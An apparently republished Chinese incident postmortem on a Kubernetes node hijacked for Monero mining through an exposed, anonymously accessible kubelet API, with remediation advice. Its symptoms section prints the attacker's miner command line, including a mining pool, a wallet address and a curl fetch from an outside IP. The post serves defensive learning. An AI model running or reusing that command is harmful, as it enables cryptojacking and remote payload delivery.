記一次 Kubernetes 集群被入侵,服務(wù)器變礦機(jī)

入侵現(xiàn)象
檢查到某臺(tái)機(jī)器中出現(xiàn)了異常進(jìn)程
./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat

簡(jiǎn)單來(lái)講,就是我們的機(jī)器被用來(lái)挖礦了…
問(wèn)題出現(xiàn)后,我們第一時(shí)間關(guān)閉了docker,其實(shí)應(yīng)該隔離下環(huán)境, 把挖礦程序dump下來(lái),以便后續(xù)分析。
具體原因排查
iptables為空
出現(xiàn)了異常進(jìn)程,肯定是被入侵了,我首先看的是 iptables 。果不其然,機(jī)器上的 iptables 規(guī)則是空的,意味著這臺(tái)機(jī)器在裸奔。
kubelet裸奔
內(nèi)部同事提出了有可能是 kubelet 被入侵的問(wèn)題,檢查過(guò)其他組件后,開(kāi)始檢查 kubelet 組件
最后檢查到 kubelet 日志中有異常:

kubelet設(shè)置不當(dāng)
確認(rèn)入侵問(wèn)題,kubelet 參數(shù)設(shè)置錯(cuò)誤,允許直接訪問(wèn) kubelet 的 api

發(fā)現(xiàn)是 kubelet 的啟動(dòng)項(xiàng)中,該位置被注釋掉:

然后文件中禁止匿名訪問(wèn)的配置沒(méi)有讀取

該項(xiàng)配置是由于我操作不當(dāng)注釋掉的
改進(jìn)方案
其實(shí)該問(wèn)題理論上講是可以避免的,是因?yàn)槌霈F(xiàn)了多層漏洞才會(huì)被有心人掃到,我從外到內(nèi)整理了一下可能改進(jìn)的策略。
機(jī)器防火墻設(shè)置,機(jī)器防火墻是整個(gè)系統(tǒng)最外層,即使機(jī)器的防火墻同步失敗,也不能默認(rèn)開(kāi)放所有端口,而是應(yīng)該全部關(guān)閉,等待管理員連接到tty終端上檢查。
使用機(jī)器時(shí),假如機(jī)器不是暴露給外部使用的,公網(wǎng)IP可有可無(wú)的時(shí)候,盡量不要有公網(wǎng)IP,我們的機(jī)器才上線1天就被掃描到了漏洞,可想而知,公網(wǎng)上是多么的危險(xiǎn)
使用kubelet以及其他系統(tǒng)服務(wù)時(shí),端口監(jiān)聽(tīng)方面是不是該有所考量?能不能不監(jiān)聽(tīng)
0.0.0.0,而是只監(jiān)聽(tīng)本機(jī)的內(nèi)網(wǎng)IP。使用kubelet以及其他程序,設(shè)計(jì)或是搭建系統(tǒng)時(shí), 對(duì)于匿名訪問(wèn)時(shí)的權(quán)限控制, 我們需要考慮到假如端口匿名會(huì)出現(xiàn)什么問(wèn)題,是否應(yīng)該允許匿名訪問(wèn),如果不允許匿名訪問(wèn),那么怎么做一套鑒權(quán)系統(tǒng)?
系統(tǒng)管理員操作時(shí),是否有一個(gè)比較規(guī)范化的流程,是不是該只使用腳本操作線上環(huán)境? 手動(dòng)操作線上環(huán)境帶來(lái)的問(wèn)題并不好排查和定位。
我這里不是拋出疑問(wèn),只是想告訴大家,考慮系統(tǒng)設(shè)計(jì)時(shí),有必要考慮下安全性。
總結(jié)
文章轉(zhuǎn)載:高效運(yùn)維
(版權(quán)歸原作者所有,侵刪)
![]()

點(diǎn)擊下方“閱讀原文”查看更多
